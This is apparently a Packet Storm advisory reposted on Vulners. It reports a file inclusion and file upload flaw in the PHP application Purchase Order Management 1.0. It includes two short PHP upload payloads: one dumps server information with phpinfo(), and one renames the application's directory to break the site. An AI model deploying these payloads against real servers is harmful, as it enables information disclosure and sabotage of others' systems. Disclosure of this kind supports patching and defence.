Lucene search
K

Purchase Order Management 1.0 Shell Upload

🗓️ 08 Mar 2023 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 551 Views

Purchase Order Management-1.0 - File Inclusion Vulnerabilities, Unprivileged user interaction, server file uploa

Code
`## Title: Purchase Order Management-1.0 - File Inclusion Vulnerabilities - Unprivileged user interaction - file upload in the server  
## Author: nu11secur1ty  
## Date: 03.06.2023  
## Vendor: https://www.sourcecodester.com/user/257130/activity  
## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html  
## Reference: https://brightsec.com/blog/file-inclusion-vulnerabilities/  
  
## Description:  
The Purchase Order Management-1.0 suffer from File Inclusion Vulnerabilities.  
The users of this system are allowed to submit input into files or  
upload files to the server.  
The malicious attacker can get absolute control of this system!  
  
STATUS: CRITICAL Vulnerability  
  
  
[+]Get Info:  
  
```PHP  
<?php  
// by nu11secur1ty - 2023  
phpinfo();  
?>  
  
```  
[+]Exploit:  
  
```PHP  
<?php  
// by nu11secur1ty - 2023  
// Old Name Of The file  
$old_name = "C:/xampp7/htdocs/purchase_order/" ;  
  
// New Name For The File  
$new_name = "C:/xampp7/htdocs/purchase_order_stupid/" ;  
  
// using rename() function to rename the file  
rename( $old_name, $new_name) ;  
  
?>  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0)  
  
## Proof and Exploit:  
[href](https://streamable.com/vkq31h)  
  
## Time spend:  
00:35:00  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation